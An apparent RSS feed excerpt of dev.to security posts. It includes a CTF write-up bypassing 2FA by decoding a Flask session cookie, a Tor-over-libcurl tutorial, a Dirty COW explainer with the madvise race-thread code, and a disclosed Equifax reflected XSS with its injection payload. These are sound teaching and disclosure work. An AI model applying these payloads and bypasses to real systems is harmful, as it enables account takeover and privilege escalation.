&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgktqz1sn7a7hday09flc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgktqz1sn7a7hday09flc.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;if we see the code properly given in the &lt;a href="http://app.py" rel="noopener noreferrer"&gt;app.py&lt;/a&gt; file we will see that&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhev14u9e1srjb0yjipje.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhev14u9e1srjb0yjipje.png" alt=" " width="596" height="214"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;the secret OTP is stored inside the session cookie and no server side validation is being done, so if we intercept the OTP request via burp and somehow manage to decode the session cookie we would be able to get the OTP and get access. Lets see how we do that&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm33t9cpdymhvb4iau4k2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm33t9cpdymhvb4iau4k2.png" alt=" " width="786" height="317"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the application uses flask to create session cookies, we can use a tool like Flask unsign to decode the session cookie and get the OTP ( &lt;a href="https://github.com/Paradoxis/Flask-Unsign" rel="noopener noreferrer"&gt;https://github.com/Paradoxis/Flask-Unsign&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0jr6ii4plpjbki2886rx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0jr6ii4plpjbki2886rx.png" alt=" " width="800" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;flask-unsign --decode -c "YOUR_SESSION_COOKIE"&lt;br&gt;
{'logged': 'false', 'otp_secret': '8369', 'otp_timestamp': 1774541649.0009327, 'username': 'admin'}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we have got the OTP as 8369 we will enter this OTP and get access to the page&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbf3nrted4m8ydnrd9msu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbf3nrted4m8ydnrd9msu.png" alt=" " width="800" height="184"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;and voila we have access to the page and there's our beautiful flag. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;There were two core security vulnerabilities that were implemented in this flask application &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User passwords were stored as weak, unsalted hashes, making them trivially crackable via rainbow tables on sites like CrackStation&lt;/li&gt;
&lt;li&gt;The 2FA mechanism had no server-side validation. The OTP field was enforced only on the client side, meaning the server never actually verified whether a valid OTP was submitted&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb89j8mmgy4w9dh7dq7z2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb89j8mmgy4w9dh7dq7z2.png" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Building a safer cURL using TOR</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Mon, 03 Nov 2025 17:46:03 +0000</pubDate>
      <link>https://dev.to/deoxys/building-a-safer-curl-using-tor-367i</link>
      <guid>https://dev.to/deoxys/building-a-safer-curl-using-tor-367i</guid>
      <description>&lt;p&gt;Have you ever noticed that the running one simple cURL command can turn a private click into a series of public breadcrumbs like being visible to ISPs, DNS resolvers and anyone snooping the network. One way of making cURL command secure is by using TOR network.&lt;/p&gt;

&lt;p&gt;Before we improve the cURL command, lets see a basic cURL command and see how it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Working of cURL
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl https://example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above curl command is a simple GET request to the URL example.com. The command then retrieves HTML information about the page. Lets deep dive into this whole process, we will keep it simple and straight to the point.&lt;/p&gt;

&lt;p&gt;1) cURL parses your commands and flags and determines which protocol to use based on it like HTTPS,FTP,HTTP etc.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlnzgm0zv50dazdrptws.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlnzgm0zv50dazdrptws.png" alt=" " width="800" height="517"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2) The system resolver then looks up the hostname in your local DNS server to get the IP address. This is the part where DNS leakage can take place as the ISP can easily observe your DNS queries.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp10wiginy6sbsrwnm1xp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp10wiginy6sbsrwnm1xp.png" alt=" " width="800" height="497"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3) cURL then opens a TCP socket on the target IP address and does the usual TCP 3 way handshake(SYN,SYN-ACK,ACK).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5iwf4vje43y29m96zw7e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5iwf4vje43y29m96zw7e.png" alt=" " width="471" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4) If the URL uses HTTPS, a TLS handshake follows. The client and server negotiate ciphers, validate the server certificate (SNI may be sent in plaintext), and derive encryption keys. If certificate validation fails, curl reports an error.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvntal5g9frjrmjjuhg7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvntal5g9frjrmjjuhg7.png" alt=" " width="751" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5) cURL then constructs the actual HTTP request, add headers like User-Agent, Host etc. and sends it over the TCP/TLS channel.&lt;/p&gt;

&lt;p&gt;6) Server then responds to the request and adds its own headers with its own status code.&lt;/p&gt;

&lt;p&gt;So that was a quick rundown of how cURL works, however there are quite a few problems that can happen when the above process takes place like&lt;br&gt;
1) DNS Leaking&lt;br&gt;
2) Snooping of information by the ISP&lt;br&gt;
3) Man in the middle (MITM) attacks&lt;br&gt;
4) Unencrypted traffic exposure when using HTTP instead of using HTTPS&lt;/p&gt;

&lt;p&gt;Lets see how we can improve and mitigate these problems while using TOR network, we will go over the whole implementation of TOR network over the curl command in C.&lt;/p&gt;
&lt;h2&gt;
  
  
  TOR implementation of cURL in C aka TorConnect
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpkrcusez0vbe08p0dcmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpkrcusez0vbe08p0dcmd.png" alt=" " width="800" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So in order implement a simple cURL command in C, we need to use libcurl. It's a simple client side library that basically powers the main component of the cURL command. libcurl and its documentation (&lt;a href="https://curl.se/libcurl/" rel="noopener noreferrer"&gt;https://curl.se/libcurl/&lt;/a&gt;) will basically help us to set up the whole TOR network. &lt;/p&gt;

&lt;p&gt;for the next step we will set up a local TOR proxy using SOCKS5 instead of using DNS in the normal version of cURL. We will set up this local TOR proxy at our localhost (127.0.0.1:9050). This basically prevents DNS leaks and avoids MITM attacks. In order to set this up we will use the following commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl_easy_setopt(curl,CURLOPT_PROXY,"127.0.0.1:9050"); // sets up local TOR proxy       

curl_easy_setopt(curl,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5_HOSTNAME); // prevents DNS leaking
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Make sure that you have TOR installed in your system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt update
sudo apt install tor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have TOR network set up we can just use this command to send request to the webpage, this request will travel securely through the TOR network tunnel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl_easy_setopt(curl,CURLOPT_URL,"https://example.com");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Security note: Tor anonymizes routing but does not provide end-to-end encryption outside the Tor network. So we should always use HTTPS and keep TLS verification enabled (CURLOPT_SSL_VERIFYPEER / CURLOPT_SSL_VERIFYHOST) to prevent MITM at the exit node.&lt;/p&gt;

&lt;p&gt;Those are the main steps involved in anonymizing your cURL. If you’re interested in viewing the complete source code, check out my GitHub repository: &lt;a href="https://github.com/EpicNerdGuy/TorConnect" rel="noopener noreferrer"&gt;TorConnect&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;TorConnect is a small step toward making network requests safer and more private by routing traffic through the Tor network, preventing DNS leaks, and hiding your real IP. Of course, it’s not perfect. Using Tor can slow down your connection, and some websites may block Tor exit nodes altogether. Still, TorConnect shows that privacy and usability can coexist if built carefully. It’s a reminder that staying anonymous online isn’t just about using the right tools, but also about using them wisely.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxw5wrsnsq3sqpmefpyv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxw5wrsnsq3sqpmefpyv.png" alt=" " width="500" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Dirty COW exploit that broke linux in 2016</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Wed, 29 Oct 2025 18:16:28 +0000</pubDate>
      <link>https://dev.to/deoxys/dirty-cow-exploit-that-broke-linux-in-2016-48ml</link>
      <guid>https://dev.to/deoxys/dirty-cow-exploit-that-broke-linux-in-2016-48ml</guid>
      <description>&lt;h2&gt;
  
  
  Introduction-
&lt;/h2&gt;

&lt;p&gt;You may have heard of dirty COW (&lt;a href="https://nvd.nist.gov/vuln/detail/cve-2016-5195" rel="noopener noreferrer"&gt;CVE-2016-5195&lt;/a&gt;) exploit if you are a seasoned veteran in the red teaming space. So what’s the big deal with it. Well back in 2016, this 150 lines of C code exploit would allow any attacker to gain root access to your Linux system with just exploiting a simple race condition.&lt;/p&gt;

&lt;p&gt;Lets see what this vulnerability is all about &lt;/p&gt;

&lt;h2&gt;
  
  
  What is COW (Copy on Write)-
&lt;/h2&gt;

&lt;p&gt;In Linux processes which share the same memory are treated as read-only mode as long as they point to the same page. When one of them wants to write to these only then the Linux kernel makes private copy of the file for that particular process. This is referred to as COW (Copy-on-Write).&lt;/p&gt;

&lt;h2&gt;
  
  
  Dirty COW vulnerability-
&lt;/h2&gt;

&lt;p&gt;Now imagine if we want to write to /etc/passwd file on a Linux which stores user account information but we only have read permission and not any write permission how do we exploit this COW property.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation Overview-
&lt;/h2&gt;

&lt;p&gt;Well here is how some attackers thought about exploiting it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Map the target file like (/etc/passwd) into memory so that we can exploit the COW property.&lt;/li&gt;
&lt;li&gt;Spawn two racing threads.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;i) Thread A- tries to write into that memory but obviously kernel recognizes this and tries to get it the private copy.&lt;/p&gt;

&lt;p&gt;ii) Thread B- Use madvise() function, this function basically tells the kernel to invalidate or remove the same memory page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;madviseThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;200000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;madvise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MADV_DONTNEED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"madvise %d&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;This creates a race condition for the kernel as one thread is requesting a COW for the page and the other thread is trying to invalidate it.&lt;/li&gt;
&lt;li&gt;In the midst of this confusion, the kernel instead of handing the private copy of the page to the user, grants the write operations on the file.&lt;/li&gt;
&lt;li&gt;This way we can get a write operation on the /etc/passwd file and create a new root user and get full access to the Linux system. Here's the full exploit code &lt;a href="https://www.exploit-db.com/exploits/40839" rel="noopener noreferrer"&gt;https://www.exploit-db.com/exploits/40839&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Fix and Patches-
&lt;/h2&gt;

&lt;p&gt;So in order to fix this mess they-&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;tightened COW logic-&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;this basically ensured that the kernel would always create the private copy of memory page first no concurrent function like madvise() could interrupt it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Follow up architecture patches-&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Some CPU architectures had some race conditions which were fixed.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>ai</category>
      <category>security</category>
    </item>
    <item>
      <title>Reflected XSS in Equifax Search Endpoint</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Tue, 19 Aug 2025 13:15:13 +0000</pubDate>
      <link>https://dev.to/deoxys/reflected-xss-in-equifax-search-endpoint-3hag</link>
      <guid>https://dev.to/deoxys/reflected-xss-in-equifax-search-endpoint-3hag</guid>
      <description>&lt;p&gt;In December 2022, a security researcher reported a reflected cross-site scripting (XSS) vulnerability affecting the search functionality on the Equifax website. The issue was submitted through the company’s vulnerability disclosure program on &lt;a href="https://hackerone.com/reports/1818163" rel="noopener noreferrer"&gt;HackerOne&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerability Description
&lt;/h3&gt;

&lt;p&gt;The vulnerable endpoint was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://www.equifax.com/personal/help/search?search=&amp;lt;input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a user entered a search term, the application reflected that value directly into a JavaScript function on the returned page. For example, the word &lt;code&gt;broook&lt;/code&gt; appeared in the following script block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="nx"&gt;Analytics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trackEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;emptySearch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="na"&gt;internalSearchTerm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;broook&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;numOfSearchResultsReturned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the search parameter was not properly sanitized, an attacker could inject arbitrary JavaScript code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Proof of Concept
&lt;/h3&gt;

&lt;p&gt;The researcher supplied a payload that modified the parameters of the &lt;code&gt;Analytics.trackEvent&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21nkvcagdeef7ot95f0n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21nkvcagdeef7ot95f0n.png" alt=" " width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When decoded, this payload injected an array mapping function that executed &lt;code&gt;alert(7)&lt;/code&gt;. The final vulnerable script looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="nx"&gt;Analytics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trackEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SEARCHRETURNED&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="na"&gt;internalSearchTerm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;internalSearchTerm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;numOfSearchResultsReturned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;numOfSearchResultsReturned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;167&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fllmrsqv1a31b69fq19gq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fllmrsqv1a31b69fq19gq.png" alt=" " width="800" height="520"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This confirmed that the input was being executed as JavaScript in the browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  Impact
&lt;/h3&gt;

&lt;p&gt;A successful exploit would allow an attacker to execute arbitrary JavaScript in the context of a victim’s browser session. This could lead to theft of cookies, session hijacking, or other malicious actions depending on the attacker’s goals.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;This case highlights the risks of directly embedding user-controlled input into JavaScript code without proper sanitization or encoding. Reflected XSS vulnerabilities are still common and can have serious consequences when exploited on high-profile sites. Proper input handling and output encoding remain essential defenses.&lt;/p&gt;




</description>
    </item>
    <item>
      <title>One Bug, Many Faces: Understanding Every Type of Race Condition Vulnerability</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Sat, 02 Aug 2025 06:42:37 +0000</pubDate>
      <link>https://dev.to/deoxys/one-bug-many-faces-understanding-every-type-of-race-condition-vulnerability-4po3</link>
      <guid>https://dev.to/deoxys/one-bug-many-faces-understanding-every-type-of-race-condition-vulnerability-4po3</guid>
      <description>&lt;h2&gt;
  
  
  What is Race Condition
&lt;/h2&gt;

&lt;p&gt;Imagine that you are planning to go to a movie at 5 pm. You inquire about the availability of the tickets at 4 pm. The representative says that they are available. You relax and reach the ticket window 30 minutes later, but then to your horror all the tickets get sold. The problem here was in the duration between the check and the action. You inquired at 4 and acted at 4:30. In the meantime, someone else grabbed the tickets. That's a race condition.&lt;/p&gt;

